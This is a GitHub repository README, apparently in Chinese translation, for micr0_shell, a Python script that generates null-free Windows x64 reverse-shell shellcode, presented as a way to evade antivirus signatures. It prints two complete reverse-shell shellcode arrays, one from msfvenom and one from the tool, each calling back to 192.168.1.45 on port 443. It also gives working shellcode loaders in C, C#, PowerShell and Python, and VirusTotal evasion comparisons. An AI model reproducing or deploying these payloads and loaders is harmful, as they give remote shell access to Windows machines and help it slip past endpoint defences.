senzee1984/micr0_shell

GitHub: senzee1984/micr0_shell

一个用于动态生成 Windows x64 位置无关、无空字节反向 Shell shellcode 的 Python 脚本,旨在提升免杀与规避能力。

Stars: 214 | Forks: 33

# micr0 shell Micr0shell 是一个轻量且高效的 Python 脚本,旨在动态生成 Windows X64 位置无关(Position-Independent Code, PIC)无空(Null-Free)的反向 Shell Shellcode。根据所选选项,生成的 Shellcode 比 msfvenom 生成的同类 Shellcode 小至 `27` 字节,同时避免了包含 0x00 字节。此外,由于 MSF 的 Shellcode 被广泛使用,因此更可能被基于特征的检测方法识别,而 micr0shell 生成的 Shellcode 提供了一层额外的规避能力。 ``` └─# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.45 LPORT=443 -f csharp -v shellcode -b "\x00" [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x64 from the payload Found 3 compatible encoders Attempting to encode payload with 1 iterations of generic/none generic/none failed with Encoding failed due to a bad character (index=7, char=0x00) Attempting to encode payload with 1 iterations of x64/xor x64/xor succeeded with size 503 (iteration=0) x64/xor chosen with final size 503 Payload size: 503 bytes Final size of csharp file: 2586 bytes byte[] shellcode = new byte[503] { 0x48,0x31,0xc9,0x48,0x81,0xe9,0xc6,0xff,0xff,0xff,0x48,0x8d,0x05,0xef,0xff, 0xff,0xff,0x48,0xbb,0x2b,0x1e,0x7f,0x17,0x61,0x58,0xad,0xc4,0x48,0x31,0x58, 0x27,0x48,0x2d,0xf8,0xff,0xff,0xff,0xe2,0xf4,0xd7,0x56,0xfc,0xf3,0x91,0xb0, 0x6d,0xc4,0x2b,0x1e,0x3e,0x46,0x20,0x08,0xff,0x95,0x7d,0x56,0x4e,0xc5,0x04, 0x10,0x26,0x96,0x4b,0x56,0xf4,0x45,0x79,0x10,0x26,0x96,0x0b,0x56,0xf4,0x65, 0x31,0x10,0xa2,0x73,0x61,0x54,0x32,0x26,0xa8,0x10,0x9c,0x04,0x87,0x22,0x1e, 0x6b,0x63,0x74,0x8d,0x85,0xea,0xd7,0x72,0x56,0x60,0x99,0x4f,0x29,0x79,0x5f, 0x2e,0x5f,0xea,0x0a,0x8d,0x4f,0x69,0x22,0x37,0x16,0xb1,0xd3,0x2d,0x4c,0x2b, 0x1e,0x7f,0x5f,0xe4,0x98,0xd9,0xa3,0x63,0x1f,0xaf,0x47,0xea,0x10,0xb5,0x80, 0xa0,0x5e,0x5f,0x5e,0x60,0x88,0x4e,0x92,0x63,0xe1,0xb6,0x56,0xea,0x6c,0x25, 0x8c,0x2a,0xc8,0x32,0x26,0xa8,0x10,0x9c,0x04,0x87,0x5f,0xbe,0xde,0x6c,0x19, 0xac,0x05,0x13,0xfe,0x0a,0xe6,0x2d,0x5b,0xe1,0xe0,0x23,0x5b,0x46,0xc6,0x14, 0x80,0xf5,0x80,0xa0,0x5e,0x5b,0x5e,0x60,0x88,0xcb,0x85,0xa0,0x12,0x37,0x53, 0xea,0x18,0xb1,0x8d,0x2a,0xce,0x3e,0x9c,0x65,0xd0,0xe5,0xc5,0xfb,0x5f,0x27, 0x56,0x39,0x06,0xf4,0x9e,0x6a,0x46,0x3e,0x4e,0x20,0x02,0xe5,0x47,0xc7,0x3e, 0x3e,0x45,0x9e,0xb8,0xf5,0x85,0x72,0x44,0x37,0x9c,0x73,0xb1,0xfa,0x3b,0xd4, 0xe1,0x22,0x5e,0xdf,0x2f,0xde,0xf6,0x74,0x2d,0x4d,0x17,0x61,0x19,0xfb,0x8d, 0xa2,0xf8,0x37,0x96,0x8d,0xf8,0xac,0xc4,0x2b,0x57,0xf6,0xf2,0x28,0xe4,0xaf, 0xc4,0x2a,0xa5,0xbf,0xbf,0x60,0x75,0xec,0x90,0x62,0x97,0x9b,0x5b,0xe8,0xa9, 0xec,0x7e,0x67,0x69,0x59,0x10,0x9e,0x8d,0xe1,0x4d,0xc1,0x76,0x7e,0x16,0x61, 0x58,0xf4,0x85,0x91,0x37,0xff,0x7c,0x61,0xa7,0x78,0x94,0x7b,0x53,0x4e,0xde, 0x2c,0x69,0x6d,0x8c,0xd4,0xde,0x37,0x9e,0xa3,0x10,0x52,0x04,0x63,0x97,0xbe, 0x56,0xdb,0xb2,0xa2,0x1b,0xcb,0xe1,0xaa,0x5f,0xe8,0x9f,0xc7,0xd4,0x6a,0x46, 0x33,0x9e,0x83,0x10,0x24,0x3d,0x6a,0xa4,0xe6,0xb2,0x15,0x39,0x52,0x11,0x63, 0x9f,0xbb,0x57,0x63,0x58,0xad,0x8d,0x93,0x7d,0x12,0x73,0x61,0x58,0xad,0xc4, 0x2b,0x5f,0x2f,0x56,0x31,0x10,0x24,0x26,0x7c,0x49,0x28,0x5a,0x50,0x98,0xc7, 0xc9,0x72,0x5f,0x2f,0xf5,0x9d,0x3e,0x6a,0x80,0x0f,0x4a,0x7e,0x16,0x29,0xd5, 0xe9,0xe0,0x33,0xd8,0x7f,0x7f,0x29,0xd1,0x4b,0x92,0x7b,0x5f,0x2f,0x56,0x31, 0x19,0xfd,0x8d,0xd4,0xde,0x3e,0x47,0x28,0xa7,0x65,0x89,0xa2,0xdf,0x33,0x9e, 0xa0,0x19,0x17,0xbd,0xe7,0x21,0xf9,0xe8,0xb4,0x10,0x9c,0x16,0x63,0xe1,0xb5, 0x9c,0x6f,0x19,0x17,0xcc,0xac,0x03,0x1f,0xe8,0xb4,0xe3,0x5d,0x71,0x89,0x48, 0x3e,0xad,0xc7,0xcd,0x10,0x59,0xd4,0xcb,0x37,0x94,0xa5,0x70,0x91,0xc2,0x57, 0x14,0xff,0xec,0x81,0x2d,0xa8,0x7f,0x6c,0x0d,0x0d,0x78,0x0b,0x58,0xf4,0x85, 0xa2,0xc4,0x80,0xc2,0x61,0x58,0xad,0xc4 }; ``` ## 背景 我通过 `Offensive Security Exploit Developer`(OSED)课程掌握了 x86 Shellcode 开发技能,我发现这门课程尤其引人入胜。在课程之前,Shellcode 开发对我来说是一个神秘的领域,但很快我意识到它为实现特定目标提供了极大的灵活性。认识到 x64 Shellcoding 在当今环境中更具相关性和广泛使用,我将所学应用于开发这个动态且方便的 Windows x64 反向 Shell Shellcode 生成脚本。 ## 使用方法 ### 安装 Keystone 引擎 要在 Python 脚本中从 x64 汇编指令生成 Shellcode,需要依赖 `keystone` 引擎。请使用 `pip` 安装 Keystone 引擎: ``` pip install keystone-engine ``` ### 脚本用法 用户可以灵活指定各种参数:`IP地址`、`监听端口`、`变量名`、`Shellcode 格式`(选项包括 C、CSharp、Python 和 PowerShell)、`Shell 类型`(PowerShell 或 CMD)、是否 `保存` 生成的 Shellcode 到文件,以及是否 `执行` 生成的 Shellcode(True/False)。 仅 `IP地址` 是必须指定的,以使 Shellcode 正常工作。默认端口值为 `443`,默认变量名为 `buf`,默认语言为 `python`,默认 Shell 类型为 `cmd.exe`。 用户可以选择在此 Python 脚本中执行生成的 Shellcode,生成的 Shellcode 也可以保存为二进制文件。默认情况下,生成的 Shellcode `不执行` 且 `不保存` 到文件。 ### 简易 Shellcode 加载器 下面提供了不同常见语言的简易 Shellcode 加载器,以便方便地测试生成的 Shellcode。 不过,如果你关注规避能力,请注意以下 Shellcode 加载器本身可能被检测到。如需更高级的规避技术,可以探索其他 Shellcode 加载器,这超出了本 README 文档的范围。 #### C ``` #include "windows.h" #include "stdlib.h" unsigned char shellcode[] = { 0xfc, 0x48, 0x83, 0xe4, 0xf0......}; // SHELLCODE HERE int main() { int length = sizeof(shellcode); void* exec = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); RtlMoveMemory(exec, shellcode, length); HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0); } ``` #### CSharp ``` using System; using System.Runtime.InteropServices; namespace runner { public class runner { [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); [DllImport("kernel32.dll")] static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); public static void Main(String[] args) { byte[] buffer= new byte[479] {0x48,0x31,0xd2,0x65,0x48,0x8b,0x42,0x60,0x48......}; // SHELLCODE HERE IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x40); Marshal.Copy(shellcode, 0, addr, shellcode.Length); IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); WaitForSingleObject(hThread, 0xFFFFFFFF); return; } } } ``` #### PowerShell ``` function LookupFunc { Param ($moduleName, $functionName) $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1]. Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $tmp=@() $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) } function getDelegateType { Param ( [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func, [Parameter(Position = 1)] [Type] $delType = [Void] ) $type = [AppDomain]::CurrentDomain. DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('InMemoryModule', $false). DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $type. DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func). SetImplementationFlags('Runtime, Managed') $type. DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func). SetImplementationFlags('Runtime, Managed') return $type.CreateType() } $lpMem =[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40) [Byte[]] $buf = [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length) $hThread =[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr])([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero) [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF) ``` #### Python ``` import ctypes, struct buf = b"\x48\x31\...." # SHELLCODE HERE buf=bytearray(buf) ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(buf)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(buf)).from_buffer(buf) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(buf))) print("Shellcode located at address %s" % hex(ptr)) ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1)) ``` ## 已知问题 1. 基于提供的 `IP地址`、`端口` 和 `Shell 类型`,micr0shell 动态生成无空(Null-Free)Shellcode。虽然我已考虑大多数可能引入空字节的常见场景,但需要注意的是,如果提供的 IP 地址同时包含 `.255` 和 `.0`(例如 `192.168.0.255`),生成的 Shellcode 将包含一个空字节。虽然这类 IP 地址在实践中相对罕见,但要消除所有可能 IP 地址的空字节会显著增加复杂性。因此,我目前没有立即计划解决这个问题。 2. 关于端口值,理论上任何端口都不应产生空字节。然而,由于空字节消除的实现方式,端口 `65280` 不可用。 3. 在 `Windows 11` 上,双击 Shellcode 加载器程序/脚本会导致 Shell 会话快速退出。然而,如果通过 `CMD` 或 `PowerShell` 启动,Shell 会话将在断开与服务器的连接之前保持活动状态。此问题目前正在调查中,似乎与 Shellcode 自身相关。我将尽快找到修复方法。 ## 测试用例 Shellcode 签名规避能力测试,样本文件于 2023 年 8 月上传至 VirusTotal。 ### Shellcode 二进制文件 使用 msfvenom 和 micr0shell 生成原始二进制文件并分别上传。有 2 个由 msfvenom 生成的样本,一个包含 0x00,另一个是无空(Null-Free)的。比较结果如下: ![image](/screenshot/msf_include_00.jpg) ![image](/screenshot/msf_null_free.jpg) ![image](/screenshot/micr0shell.jpg) 截至 `8/13/2023`,micr0shell 生成的原始 Shellcode 二进制文件未被签名。 ### 简易 Shellcode 加载器(C 语言) 使用 msfvenom 和 micr0shell 生成 Shellcode 字节数组,并分别将其包含在一个用 C 编写的简易 Shellcode 加载器中。有 2 个由 msfvenom 生成的 Shellcode,一个包含 0x00,另一个是无空(Null-Free)的。比较结果如下: ![image](/screenshot/loader_msf_include_00.jpg) ![image](/screenshot/loader_msf.jpg) ![image](/screenshot/loader_micr0.jpg) 截至 `8/23/2023`,包含 micr0shell 生成 Shellcode 的加载器检测率显著更低。值得注意的是,即使 Shellcode 无害,简易的 Shellcode 加载器本身也会被签名。 ## 截图 ![image](/screenshot/test.jpg) ``` ─# python3 micr0shell.py --ip 192.168.1.45 --port 443 --type cmd --language c --variable shellcode --execution false --save True --output buf.bin ███╗░░░███╗██╗░█████╗░██████╗░░█████╗░  ░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░ ████╗░████║██║██╔══██╗██╔══██╗██╔══██╗  ██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░ ██╔████╔██║██║██║░░╚═╝██████╔╝██║░░██║  ╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░ ██║╚██╔╝██║██║██║░░██╗██╔══██╗██║░░██║  ░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░ ██║░╚═╝░██║██║╚█████╔╝██║░░██║╚█████╔╝  ██████╔╝██║░░██║███████╗███████╗███████╗ ╚═╝░░░░░╚═╝╚═╝░╚════╝░╚═╝░░╚═╝░╚════╝░  ╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝ Author: Senzee Github Repository: https://github.com/senzee1984/micr0_shell Description: Dynamically generate PIC Null-Free Reverse Shell Shellcode Attention: In rare cases (.255 and .0 co-exist), generated shellcode could contain NULL bytes, E.G. when IP is 192.168.0.255 [+]Shellcode Settings: ******** IP Address: 192.168.1.45 ******** Listening Port: 443 ******** Language of desired shellcode runner: c ******** Shellcode array variable name: shellcode ******** Shell: cmd ******** Shellcode Execution: false ******** Save Shellcode to file: true [+]Payload size: 476 bytes [+]Shellcode format for C unsigned char shellcode[]={ 0x48,0x31,0xd2,0x65,0x48,0x8b,0x42,0x60,0x48,0x8b,0x70,0x18,0x48,0x8b,0x76,0x30,0x4c,0x8b,0x0e,0x4d, 0x8b,0x09,0x4d,0x8b,0x49,0x10,0xeb,0x63,0x41,0x8b,0x49,0x3c,0x4d,0x31,0xff,0x41,0xb7,0x88,0x4d,0x01, 0xcf,0x49,0x01,0xcf,0x45,0x8b,0x3f,0x4d,0x01,0xcf,0x41,0x8b,0x4f,0x18,0x45,0x8b,0x77,0x20,0x4d,0x01, 0xce,0xe3,0x3f,0xff,0xc9,0x48,0x31,0xf6,0x41,0x8b,0x34,0x8e,0x4c,0x01,0xce,0x48,0x31,0xc0,0x48,0x31, 0xd2,0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xca,0x0d,0x01,0xc2,0xeb,0xf4,0x44,0x39,0xc2,0x75,0xda,0x45, 0x8b,0x57,0x24,0x4d,0x01,0xca,0x41,0x0f,0xb7,0x0c,0x4a,0x45,0x8b,0x5f,0x1c,0x4d,0x01,0xcb,0x41,0x8b, 0x04,0x8b,0x4c,0x01,0xc8,0xc3,0xc3,0x4c,0x89,0xcd,0x41,0xb8,0x8e,0x4e,0x0e,0xec,0xe8,0x8f,0xff,0xff, 0xff,0x49,0x89,0xc4,0x48,0x31,0xc0,0x66,0xb8,0x6c,0x6c,0x50,0x48,0xb8,0x57,0x53,0x32,0x5f,0x33,0x32, 0x2e,0x64,0x50,0x48,0x89,0xe1,0x48,0x83,0xec,0x20,0x4c,0x89,0xe0,0xff,0xd0,0x48,0x83,0xc4,0x20,0x49, 0x89,0xc6,0x49,0x89,0xc1,0x41,0xb8,0xcb,0xed,0xfc,0x3b,0x4c,0x89,0xcb,0xe8,0x55,0xff,0xff,0xff,0x48, 0x31,0xc9,0x66,0xb9,0x98,0x01,0x48,0x29,0xcc,0x48,0x8d,0x14,0x24,0x66,0xb9,0x02,0x02,0x48,0x83,0xec, 0x30,0xff,0xd0,0x48,0x83,0xc4,0x30,0x49,0x89,0xd9,0x41,0xb8,0xd9,0x09,0xf5,0xad,0xe8,0x2b,0xff,0xff, 0xff,0x48,0x83,0xec,0x30,0x48,0x31,0xc9,0xb1,0x02,0x48,0x31,0xd2,0xb2,0x01,0x4d,0x31,0xc0,0x41,0xb0, 0x06,0x4d,0x31,0xc9,0x4c,0x89,0x4c,0x24,0x20,0x4c,0x89,0x4c,0x24,0x28,0xff,0xd0,0x49,0x89,0xc4,0x48, 0x83,0xc4,0x30,0x49,0x89,0xd9,0x41,0xb8,0x0c,0xba,0x2d,0xb3,0xe8,0xf3,0xfe,0xff,0xff,0x48,0x83,0xec, 0x20,0x4c,0x89,0xe1,0x48,0x31,0xd2,0xb2,0x02,0x48,0x89,0x14,0x24,0x48,0x31,0xd2,0x66,0xba,0x01,0xbb, 0x48,0x89,0x54,0x24,0x02,0xba,0xc0,0xa8,0x01,0x2d,0x48,0x89,0x54,0x24,0x04,0x48,0x8d,0x14,0x24,0x4d, 0x31,0xc0,0x41,0xb0,0x16,0x4d,0x31,0xc9,0x48,0x83,0xec,0x38,0x4c,0x89,0x4c,0x24,0x20,0x4c,0x89,0x4c, 0x24,0x28,0x4c,0x89,0x4c,0x24,0x30,0xff,0xd0,0x48,0x83,0xc4,0x38,0x49,0x89,0xe9,0x41,0xb8,0x72,0xfe, 0xb3,0x16,0xe8,0x99,0xfe,0xff,0xff,0x48,0xba,0x9c,0x92,0x9b,0xd1,0x9a,0x87,0x9a,0xff,0x48,0xf7,0xd2, 0x52,0x48,0x89,0xe2,0x41,0x54,0x41,0x54,0x41,0x54,0x48,0x31,0xc9,0x66,0x51,0x51,0x51,0xb1,0xff,0x66, 0xff,0xc1,0x66,0x51,0x48,0x31,0xc9,0x66,0x51,0x66,0x51,0x51,0x51,0x51,0x51,0x51,0x51,0xb1,0x68,0x51, 0x48,0x89,0xe7,0x48,0x89,0xe1,0x48,0x83,0xe9,0x20,0x51,0x57,0x48,0x31,0xc9,0x51,0x51,0x51,0x48,0xff, 0xc1,0x51,0xfe,0xc9,0x51,0x51,0x51,0x51,0x49,0x89,0xc8,0x49,0x89,0xc9,0xff,0xd0}; Generated shellcode successfully saved in file buf.bin ```
标签:Raspberry Pi, Shellcode, Windows x64, 云资产清单, 代码混淆, 位置无关代码, 内存执行, 动态生成, 反序列化, 技术调研, 空字节规避, 逆向工具, 逆向工程, 隐蔽通信